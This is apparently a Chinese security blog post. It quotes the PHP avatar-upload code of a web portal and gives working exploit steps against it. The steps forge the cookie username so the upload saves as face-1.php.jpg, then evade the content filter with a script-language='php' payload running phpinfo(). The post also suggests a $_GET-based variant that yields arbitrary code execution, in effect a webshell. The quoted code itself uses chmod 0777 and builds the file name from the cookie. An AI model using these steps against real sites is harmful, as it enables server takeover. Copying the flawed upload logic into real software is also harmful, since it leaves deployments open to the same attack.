./inc/require/z_other_face_up.php $web['img_name_b'] = 'face-'.urlencode($session[0]);//这个是从cookie中获取的,为cookie explode |之后的第一个字符 //gmdate("YmdHis", time() + (floatval($web["time_pos"]) * 3600)); //本机上传 if ($_POST['ptype'] == 1) { if ($web['max_file_size'][15] == 0) { err('系统设定为禁止上传。'); } if (is_array($_FILES['purl1']) && $_FILES['purl1']['size']) { @chmod('../../data', 0777); if (!file_exists($web['img_up_dir']) && !@mkdir($web['img_up_dir'], 0777)) { err('图片无法上传,上传目录不存在。'); } $inis = ini_get_all(); $uploadmax = $inis['upload_max_filesize']; if ($_FILES['purl1']['size'] > $web['max_file_size'][15] * 1024) { err('图片上传不成功!上传的文件请小于'.$web['max_file_size'][15].'KB。'); } if (!preg_match('/.(jpg|gif|png)$/i', strtolower($_FILES['purl1']['name']), $matches)) { err('图片上传不成功!请选择一个有效的文件:允许的格式有(jpg|gif|png)。'); } if ($fp = @fopen($_FILES['purl1']['tmp_name'], 'rb')) { $img_contents = @fread($fp, $_FILES['purl1']['size']); @fclose($fp); } else { $img_contents = @file_get_contents($_FILES['purl1']['tmp_name']); } if (preg_match('/<?php|eval|POST|base64_decode|base64_encode/i', $img_contents, $m_err)) { err('提示!禁止提交。该文件含有禁止的代码'.str_replace('?', '?', $m_err[0]).'。'); } @chmod($web['img_up_dir'], 0777); if (@move_uploaded_file($_FILES['purl1']['tmp_name'], $web['img_up_dir'].'/'.$web['img_name_b'].'.'.$matches[1])) {
测试 我们注册一个用户 然后修改COOKIE 用户名成1.php 然后上传头像即可
测试:
/__temp__/face-1.php.jpg[/img]
他的过滤太弱智了
<script type="text/javascript" language="php">// <![CDATA[ phpinfo(); // ]]></script>
中间改成 $_GET[a]($_GET)就能绕过了
By:Cond0r
评论 (0)